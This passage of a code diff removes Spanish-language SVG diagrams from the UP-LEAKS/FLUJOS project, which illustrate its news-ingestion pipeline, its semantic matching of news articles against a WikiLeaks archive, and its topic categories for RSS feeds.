<text x="1438" y="280" fill="#5a625a" font-size="11.5" text-anchor="end">buzón</text>
|
|
||||||
<text x="1170" y="310" fill="#8a938a" font-size="12.5">coconews server.js</text>
|
|
||||||
<text x="1438" y="310" fill="#5a625a" font-size="11.5" text-anchor="end">:3100</text>
|
|
||||||
<line x1="352" y1="200" x2="392" y2="200" stroke="#3ad6ff" stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#a2)"/>
|
|
||||||
<line x1="728" y1="200" x2="768" y2="200" stroke="#39ff14" stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#a1)"/>
|
|
||||||
<line x1="1124" y1="200" x2="1144" y2="200" stroke="#ffb020" stroke-width="1.6" stroke-opacity="0.65" marker-end="url(#a3)"/>
|
|
||||||
<rect x="46" y="420" width="1072" height="150" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.5"/>
|
|
||||||
<text x="64" y="448" fill="#39ff14" font-size="13" letter-spacing="1.5">CORRELACIÓN SEMÁNTICA · motor_comparacion.py</text>
|
|
||||||
<text x="64" y="476" fill="#7cff5a" font-size="12">1. vectorizar</text>
|
|
||||||
<text x="196" y="476" fill="#8a938a" font-size="12">cada documento y cada fragmento → 384 dimensiones</text>
|
|
||||||
<text x="64" y="500" fill="#7cff5a" font-size="12">2. coseno</text>
|
|
||||||
<text x="196" y="500" fill="#8a938a" font-size="12">noticia contra todo el corpus de leaks, reducido por máximo de fragmento</text>
|
|
||||||
<text x="64" y="524" fill="#7cff5a" font-size="12">3. anti-hub</text>
|
|
||||||
<text x="196" y="524" fill="#8a938a" font-size="12">score = cos − λ·ln(1+grado); descarta los documentos catch-all</text>
|
|
||||||
<text x="64" y="548" fill="#7cff5a" font-size="12">4. arista</text>
|
|
||||||
<text x="196" y="548" fill="#8a938a" font-size="12">si pasa el umbral, se escribe el par en `comparaciones`</text>
|
|
||||||
<rect x="1154" y="420" width="300" height="150" rx="4" fill="#0d0f0d" stroke="#ff5ea8" stroke-width="1.5"/>
|
|
||||||
<text x="1170" y="448" fill="#ff5ea8" font-size="13" letter-spacing="1.5">NAVEGADOR</text>
|
|
||||||
<text x="1170" y="476" fill="#8a938a" font-size="12.5">nginx · upleaks.org</text>
|
|
||||||
<text x="1170" y="500" fill="#8a938a" font-size="12.5">3d-force-graph + Three.js</text>
|
|
||||||
<text x="1170" y="524" fill="#8a938a" font-size="12.5">5 vistas temáticas</text>
|
|
||||||
<text x="1170" y="548" fill="#8a938a" font-size="12.5">semanal / todas</text>
|
|
||||||
<line x1="1124" y1="495" x2="1144" y2="495" stroke="#ff5ea8" stroke-width="1.6" stroke-opacity="0.6" marker-end="url(#a4)"/>
|
|
||||||
<text x="46" y="650" fill="#5a625a" font-size="12">Los workers no se llaman entre sí: cada uno marca su trabajo en el documento (`traducido`, `procesado_ner`, `procesado_embedding`) y el siguiente recoge lo pendiente.</text>
|
|
||||||
<text x="46" y="672" fill="#5a625a" font-size="12">Si uno cae, los demás siguen; al volver, retoma la cola donde estaba. No hay orquestador ni cola de mensajes: el estado vive en la base.</text>
|
|
||||||
<text x="46" y="750" fill="#5a625a" font-size="11">upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>
|
|
||||||
</svg>
|
|
||||||
|
Before Width: | Height: | Size: 7.6 KiB |
|
|
@ -1,134 +0,0 @@
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 940" width="1500" height="940" font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" aria-label="Diagrama de los flujos de informacion: de las agencias de noticias a la prensa generalista y la prensa independiente">
|
|
||||||
<defs>
|
|
||||||
<linearGradient id="cuello" x1="0" y1="0" x2="0" y2="1"><stop offset="0%" stop-color="#39ff14" stop-opacity="0.55"/><stop offset="100%" stop-color="#39ff14" stop-opacity="0.06"/></linearGradient>
|
|
||||||
<linearGradient id="indg" x1="0" y1="0" x2="0" y2="1"><stop offset="0%" stop-color="#3ad6ff" stop-opacity="0.45"/><stop offset="100%" stop-color="#3ad6ff" stop-opacity="0.06"/></linearGradient>
|
|
||||||
<marker id="fl" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#39ff14" opacity="0.75"/></marker>
|
|
||||||
<marker id="flc" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#3ad6ff" opacity="0.8"/></marker>
|
|
||||||
</defs>
|
|
||||||
<rect width="1500" height="940" fill="#050505"/>
|
|
||||||
<text x="46" y="58" fill="#39ff14" font-size="30" font-weight="bold" letter-spacing="3">DE DÓNDE VIENE LA NOTICIA QUE ACABAS DE LEER</text>
|
|
||||||
<text x="46" y="86" fill="#8a938a" font-size="15">Cuatro agencias abastecen a casi toda la prensa del mundo. Lo que parece pluralidad suele ser el mismo teletipo repetido.</text>
|
|
||||||
<line x1="46" y1="102" x2="1454" y2="102" stroke="#39ff14" stroke-opacity="0.28"/>
|
|
||||||
<text x="46" y="120" fill="#7cff5a" font-size="13" letter-spacing="2">ORIGEN — 4 AGENCIAS</text>
|
|
||||||
<rect x="114" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
|
|
||||||
<text x="264" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">REUTERS</text>
|
|
||||||
<text x="264" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Thomson Reuters — Reino Unido/Canadá</text>
|
|
||||||
<rect x="438" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
|
|
||||||
<text x="588" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">AFP</text>
|
|
||||||
<text x="588" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Agence France-Presse — Francia</text>
|
|
||||||
<rect x="762" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
|
|
||||||
<text x="912" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">AP</text>
|
|
||||||
<text x="912" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Associated Press — EE. UU.</text>
|
|
||||||
<rect x="1086" y="132" width="300" height="78" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.6"/>
|
|
||||||
<text x="1236" y="166" fill="#39ff14" font-size="23" font-weight="bold" text-anchor="middle">EFE</text>
|
|
||||||
<text x="1236" y="190" fill="#8a938a" font-size="11.5" text-anchor="middle">Agencia EFE — España</text>
|
|
||||||
<path d="M108,210 L1392,210 L868,302 L632,302 Z" fill="url(#cuello)"/>
|
|
||||||
<line x1="264" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
|
|
||||||
<line x1="588" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
|
|
||||||
<line x1="912" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
|
|
||||||
<line x1="1236" y1="210" x2="750" y2="296" stroke="#39ff14" stroke-opacity="0.5" stroke-width="1.2" marker-end="url(#fl)"/>
|
|
||||||
<text x="750" y="328" fill="#39ff14" font-size="15" font-weight="bold" text-anchor="middle" letter-spacing="1">EL MISMO TELETIPO</text>
|
|
||||||
<text x="750" y="348" fill="#8a938a" font-size="12" text-anchor="middle">un despacho, un ángulo, un titular</text>
|
|
||||||
<rect x="51" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="110" y="441" fill="#8a938a" font-size="12" text-anchor="middle">BBC</text>
|
|
||||||
<line x1="750" y1="358" x2="110" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
|
|
||||||
<rect x="179" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="238" y="441" fill="#8a938a" font-size="12" text-anchor="middle">The Guardian</text>
|
|
||||||
<rect x="307" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="366" y="441" fill="#8a938a" font-size="12" text-anchor="middle">CNN</text>
|
|
||||||
<rect x="435" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="494" y="441" fill="#8a938a" font-size="12" text-anchor="middle">El País</text>
|
|
||||||
<line x1="750" y1="358" x2="494" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
|
|
||||||
<rect x="563" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="622" y="441" fill="#8a938a" font-size="12" text-anchor="middle">Le Monde</text>
|
|
||||||
<rect x="691" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="750" y="441" fill="#8a938a" font-size="12" text-anchor="middle">Der Spiegel</text>
|
|
||||||
<rect x="819" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="878" y="441" fill="#8a938a" font-size="12" text-anchor="middle">La Vanguardia</text>
|
|
||||||
<rect x="947" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1006" y="441" fill="#8a938a" font-size="12" text-anchor="middle">The Times</text>
|
|
||||||
<line x1="750" y1="358" x2="1006" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
|
|
||||||
<rect x="1075" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1134" y="441" fill="#8a938a" font-size="12" text-anchor="middle">ABC</text>
|
|
||||||
<rect x="1203" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1262" y="441" fill="#8a938a" font-size="12" text-anchor="middle">Corriere</text>
|
|
||||||
<rect x="1331" y="416" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1390" y="441" fill="#8a938a" font-size="12" text-anchor="middle">El Mundo</text>
|
|
||||||
<line x1="750" y1="358" x2="1390" y2="413" stroke="#39ff14" stroke-opacity="0.22" stroke-width="0.9"/>
|
|
||||||
<rect x="51" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="110" y="491" fill="#8a938a" font-size="12" text-anchor="middle">FAZ</text>
|
|
||||||
<rect x="179" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="238" y="491" fill="#8a938a" font-size="12" text-anchor="middle">NYT</text>
|
|
||||||
<rect x="307" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="366" y="491" fill="#8a938a" font-size="12" text-anchor="middle">WaPo</text>
|
|
||||||
<rect x="435" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="494" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Sky News</text>
|
|
||||||
<rect x="563" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="622" y="491" fill="#8a938a" font-size="12" text-anchor="middle">RTVE</text>
|
|
||||||
<rect x="691" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="750" y="491" fill="#8a938a" font-size="12" text-anchor="middle">20minutos</text>
|
|
||||||
<rect x="819" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="878" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Antena 3</text>
|
|
||||||
<rect x="947" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1006" y="491" fill="#8a938a" font-size="12" text-anchor="middle">La Sexta</text>
|
|
||||||
<rect x="1075" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1134" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Yahoo News</text>
|
|
||||||
<rect x="1203" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1262" y="491" fill="#8a938a" font-size="12" text-anchor="middle">MSN</text>
|
|
||||||
<rect x="1331" y="466" width="118" height="40" rx="3" fill="#101310" stroke="#5a625a" stroke-width="1"/>
|
|
||||||
<text x="1390" y="491" fill="#8a938a" font-size="12" text-anchor="middle">Google News</text>
|
|
||||||
<rect x="40" y="376" width="439" height="26" fill="#050505"/>
|
|
||||||
<text x="46" y="395" fill="#7cff5a" font-size="13" letter-spacing="2">REPLICACIÓN — CIENTOS DE CABECERAS, UNA SOLA FUENTE</text>
|
|
||||||
<text x="750" y="538" fill="#5a625a" font-size="12" text-anchor="middle">… y varios miles más. Cambia el logotipo, no el contenido.</text>
|
|
||||||
<line x1="46" y1="562" x2="1454" y2="562" stroke="#39ff14" stroke-opacity="0.22" stroke-dasharray="5 6"/>
|
|
||||||
<text x="46" y="596" fill="#3ad6ff" font-size="13" letter-spacing="2">EL OTRO CIRCUITO — PRENSA INDEPENDIENTE</text>
|
|
||||||
<text x="46" y="616" fill="#8a938a" font-size="12.5">Menos cabeceras, pero cada una con fuente propia. No replican: producen.</text>
|
|
||||||
<rect x="46" y="638" width="290" height="148" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.3" stroke-opacity="0.75"/>
|
|
||||||
<text x="62" y="660" fill="#3ad6ff" font-size="12" letter-spacing="1">FUENTES PROPIAS</text>
|
|
||||||
<text x="62" y="682" fill="#8a938a" font-size="12">› documentos filtrados</text>
|
|
||||||
<text x="62" y="706" fill="#8a938a" font-size="12">› peticiones FOIA</text>
|
|
||||||
<text x="62" y="730" fill="#8a938a" font-size="12">› reporteo sobre el terreno</text>
|
|
||||||
<text x="62" y="754" fill="#8a938a" font-size="12">› archivos judiciales</text>
|
|
||||||
<text x="62" y="778" fill="#8a938a" font-size="12">› OSINT y satélite</text>
|
|
||||||
<rect x="376" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="390" y="660" fill="#3ad6ff" font-size="13.5">Bellingcat</text>
|
|
||||||
<text x="390" y="677" fill="#5a625a" font-size="11">OSINT</text>
|
|
||||||
<line x1="336" y1="696" x2="372" y2="664" stroke="#3ad6ff" stroke-opacity="0.45" stroke-width="1.2" marker-end="url(#flc)"/>
|
|
||||||
<rect x="620" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="634" y="660" fill="#3ad6ff" font-size="13.5">The Intercept</text>
|
|
||||||
<text x="634" y="677" fill="#5a625a" font-size="11">filtraciones</text>
|
|
||||||
<rect x="864" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="878" y="660" fill="#3ad6ff" font-size="13.5">Declassified UK</text>
|
|
||||||
<text x="878" y="677" fill="#5a625a" font-size="11">FOIA</text>
|
|
||||||
<rect x="1108" y="638" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="1122" y="660" fill="#3ad6ff" font-size="13.5">Meduza</text>
|
|
||||||
<text x="1122" y="677" fill="#5a625a" font-size="11">exilio</text>
|
|
||||||
<rect x="376" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="390" y="724" fill="#3ad6ff" font-size="13.5">Amu TV / 8am</text>
|
|
||||||
<text x="390" y="741" fill="#5a625a" font-size="11">exilio afgano</text>
|
|
||||||
<line x1="336" y1="696" x2="372" y2="728" stroke="#3ad6ff" stroke-opacity="0.45" stroke-width="1.2" marker-end="url(#flc)"/>
|
|
||||||
<rect x="620" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="634" y="724" fill="#3ad6ff" font-size="13.5">Dabanga</text>
|
|
||||||
<text x="634" y="741" fill="#5a625a" font-size="11">Sudán</text>
|
|
||||||
<rect x="864" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="878" y="724" fill="#3ad6ff" font-size="13.5">elDiario.es</text>
|
|
||||||
<text x="878" y="741" fill="#5a625a" font-size="11">socios</text>
|
|
||||||
<rect x="1108" y="702" width="232" height="52" rx="3" fill="#0a1114" stroke="#3ad6ff" stroke-width="1.1" stroke-opacity="0.6"/>
|
|
||||||
<text x="1122" y="724" fill="#3ad6ff" font-size="13.5">CTXT</text>
|
|
||||||
<text x="1122" y="741" fill="#5a625a" font-size="11">lectores</text>
|
|
||||||
<rect x="46" y="800" width="1408" height="108" rx="5" fill="#0d0f0d" stroke="#39ff14" stroke-width="2"/>
|
|
||||||
<text x="72" y="838" fill="#39ff14" font-size="25" font-weight="bold" letter-spacing="3">UP-LEAKS</text>
|
|
||||||
<text x="72" y="862" fill="#8a938a" font-size="12.5">Ingiere los dos circuitos y los cruza contra el archivo de WikiLeaks.</text>
|
|
||||||
<text x="72" y="882" fill="#8a938a" font-size="12.5">Donde una noticia y un documento filtrado hablan de lo mismo, aparece una arista.</text>
|
|
||||||
<text x="940" y="846" fill="#39ff14" font-size="26" font-weight="bold">236</text>
|
|
||||||
<text x="940" y="868" fill="#5a625a" font-size="11.5" letter-spacing="1">feeds</text>
|
|
||||||
<text x="1112" y="846" fill="#39ff14" font-size="26" font-weight="bold">36.182</text>
|
|
||||||
<text x="1112" y="868" fill="#5a625a" font-size="11.5" letter-spacing="1">documentos</text>
|
|
||||||
<text x="1284" y="846" fill="#39ff14" font-size="26" font-weight="bold">115M</text>
|
|
||||||
<text x="1284" y="868" fill="#5a625a" font-size="11.5" letter-spacing="1">aristas</text>
|
|
||||||
<path d="M1400,546 L1400,786" fill="none" stroke="#39ff14" stroke-opacity="0.45" stroke-width="1.6" stroke-dasharray="4 4" marker-end="url(#fl)"/>
|
|
||||||
<text x="1408" y="658" fill="#5a625a" font-size="11">generalista</text>
|
|
||||||
<path d="M496,770 L496,786" fill="none" stroke="#3ad6ff" stroke-opacity="0.6" stroke-width="1.6" marker-end="url(#flc)"/>
|
|
||||||
<text x="508" y="780" fill="#5a625a" font-size="11">independiente</text>
|
|
||||||
<text x="46" y="920" fill="#5a625a" font-size="11">upleaks.org — software libre — gitea.laenre.net/hacklab/FLUJOS</text>
|
|
||||||
</svg>
|
|
||||||
|
Before Width: | Height: | Size: 13 KiB |
|
|
@ -1,149 +0,0 @@
|
||||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1500 1160" width="1500" height="1160" font-family="DejaVu Sans Mono, Menlo, Consolas, monospace" role="img" aria-label="De donde salen los datos de UP-LEAKS y como se clasifican en temas, subtemas y filtros">
|
|
||||||
<defs>
|
|
||||||
<marker id="f1" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#3ad6ff" opacity="0.85"/></marker>
|
|
||||||
<marker id="f2" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#39ff14" opacity="0.85"/></marker>
|
|
||||||
<marker id="f3" markerWidth="9" markerHeight="9" refX="7" refY="3" orient="auto"><path d="M0,0 L7,3 L0,6 Z" fill="#ff5ea8" opacity="0.85"/></marker>
|
|
||||||
</defs>
|
|
||||||
<rect width="1500" height="1160" fill="#050505"/>
|
|
||||||
<text x="46" y="54" fill="#39ff14" font-size="27" text-anchor="start" font-weight="bold" letter-spacing="3">DE DÓNDE SALEN LOS DATOS</text>
|
|
||||||
<text x="46" y="80" fill="#8a938a" font-size="14" text-anchor="start" font-weight="normal" letter-spacing="0">Cuatro fuentes, una etiqueta que viaja con cada documento, y los filtros que salen de ahí.</text>
|
|
||||||
<line x1="46" y1="96" x2="1454" y2="96" stroke="#39ff14" stroke-opacity="0.28"/>
|
|
||||||
<text x="46" y="118" fill="#3ad6ff" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">1 · LO QUE ENTRA</text>
|
|
||||||
<rect x="31" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="49" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">236 feeds RSS</text>
|
|
||||||
<text x="49" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› prensa de 5 idiomas</text>
|
|
||||||
<text x="49" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› agencias y cabeceras</text>
|
|
||||||
<text x="49" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› medios locales y de exilio</text>
|
|
||||||
<rect x="397" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="415" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">API de Wikipedia</text>
|
|
||||||
<text x="415" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› 28.266 artículos</text>
|
|
||||||
<text x="415" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› por tema y palabra clave</text>
|
|
||||||
<text x="415" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› el contexto histórico</text>
|
|
||||||
<rect x="763" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="781" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">WikiLeaks</text>
|
|
||||||
<text x="781" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› 36.182 documentos</text>
|
|
||||||
<text x="781" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› archivo completo por torrent</text>
|
|
||||||
<text x="781" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› cables, correos, informes</text>
|
|
||||||
<rect x="1129" y="130" width="340" height="118" rx="4" fill="#0d0f0d" stroke="#3ad6ff" stroke-width="1.5" stroke-opacity="0.85"/>
|
|
||||||
<text x="1147" y="160" fill="#3ad6ff" font-size="16" text-anchor="start" font-weight="bold" letter-spacing="0">Imágenes</text>
|
|
||||||
<text x="1147" y="186" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› og:image de cada artículo</text>
|
|
||||||
<text x="1147" y="206" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› fotos de Wikipedia</text>
|
|
||||||
<text x="1147" y="226" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">› descritas con Qwen3-VL</text>
|
|
||||||
<line x1="201" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
|
|
||||||
<line x1="567" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
|
|
||||||
<line x1="933" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
|
|
||||||
<line x1="1299" y1="252" x2="750" y2="334" stroke="#3ad6ff" stroke-opacity="0.35" stroke-width="1.1" marker-end="url(#f1)"/>
|
|
||||||
<rect x="46" y="344" width="1408" height="128" rx="4" fill="#0d0f0d" stroke="#39ff14" stroke-width="1.8" stroke-opacity="1.0"/>
|
|
||||||
<text x="64" y="372" fill="#39ff14" font-size="13" text-anchor="start" font-weight="normal" letter-spacing="2">2 · LA ETIQUETA NO SE CALCULA: VIAJA CON LA FUENTE</text>
|
|
||||||
<text x="64" y="400" fill="#8a938a" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">Cada feed del catálogo lleva escrito su tema y su subtema. Al ingerir un artículo, el artículo los hereda.</text>
|
|
||||||
<text x="64" y="420" fill="#8a938a" font-size="12.5" text-anchor="start" font-weight="normal" letter-spacing="0">No hay clasificador automático: la decisión es editorial y está en el catálogo, no en el texto.</text>
|
|
||||||
<text x="64" y="448" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">Es simple y es auditable — se ve de un vistazo por qué un artículo está donde está — pero tiene un coste: si un</text>
|
|
||||||
<text x="64" y="464" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">medio de clima publica sobre geopolítica, ese artículo entra igualmente como clima.</text>
|
|
||||||
<rect x="1000" y="360" width="436" height="96" rx="4" fill="#12100a" stroke="#ffb020" stroke-width="1.2" stroke-opacity="0.8"/>
|
|
||||||
<text x="1016" y="382" fill="#ffb020" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="1">coconews_feeds</text>
|
|
||||||
<text x="1016" y="404" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">nombre</text>
|
|
||||||
<text x="1110" y="404" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">"Ariana News – Dari"</text>
|
|
||||||
<text x="1016" y="422" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">tema</text>
|
|
||||||
<text x="1110" y="422" fill="#7cff5a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">"guerra global"</text>
|
|
||||||
<text x="1016" y="440" fill="#5a625a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">subtema</text>
|
|
||||||
<text x="1110" y="440" fill="#7cff5a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">"Afganistán"</text>
|
|
||||||
<rect x="20" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#ff3b3b" stroke-width="1.6" stroke-opacity="0.9"/>
|
|
||||||
<rect x="20" y="558" width="276" height="30" rx="4" fill="#ff3b3b" fill-opacity="0.16"/>
|
|
||||||
<text x="34" y="579" fill="#ff3b3b" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">GLOB-WAR</text>
|
|
||||||
<text x="282" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">49 feeds</text>
|
|
||||||
<text x="34" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">guerra global</text>
|
|
||||||
<text x="34" y="624" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Internacional</text>
|
|
||||||
<text x="34" y="644" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Asia</text>
|
|
||||||
<text x="34" y="664" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Oriente Medio</text>
|
|
||||||
<text x="34" y="684" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Defensa</text>
|
|
||||||
<text x="34" y="704" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Geopolítica</text>
|
|
||||||
<text x="34" y="724" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Afganistán</text>
|
|
||||||
<text x="34" y="744" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Europa</text>
|
|
||||||
<text x="34" y="764" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Conflictos</text>
|
|
||||||
<text x="34" y="784" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Rusia</text>
|
|
||||||
<text x="34" y="804" fill="#8a938a" font-size="11.5" text-anchor="start" font-weight="normal" letter-spacing="0">· Humanitario</text>
|
|
||||||
<line x1="750" y1="476" x2="158" y2="554" stroke="#39ff14" stroke-opacity="0.28" stroke-width="1.1" marker-end="url(#f2)"/>
|
|
||||||
<rect x="316" y="558" width="276" height="260" rx="4" fill="#0d0f0d" stroke="#4a6bff" stroke-width="1.6" stroke-opacity="0.9"/>
|
|
||||||
<rect x="316" y="558" width="276" height="30" rx="4" fill="#4a6bff" fill-opacity="0.16"/>
|
|
||||||
<text x="330" y="579" fill="#4a6bff" font-size="14" text-anchor="start" font-weight="bold" letter-spacing="1">INT-SEC</text>
|
|
||||||
<text x="578" y="579" fill="#5a625a" font-size="11" text-anchor="end" font-weight="normal" letter-spacing="0">19 feeds</text>
|
|
||||||
<text x="330" y="602" fill="#5a625a" font-size="10.5" text-anchor="start" font-weight="normal" letter-spacing="0">inteligencia y seguridad</text>
|
|
||||||
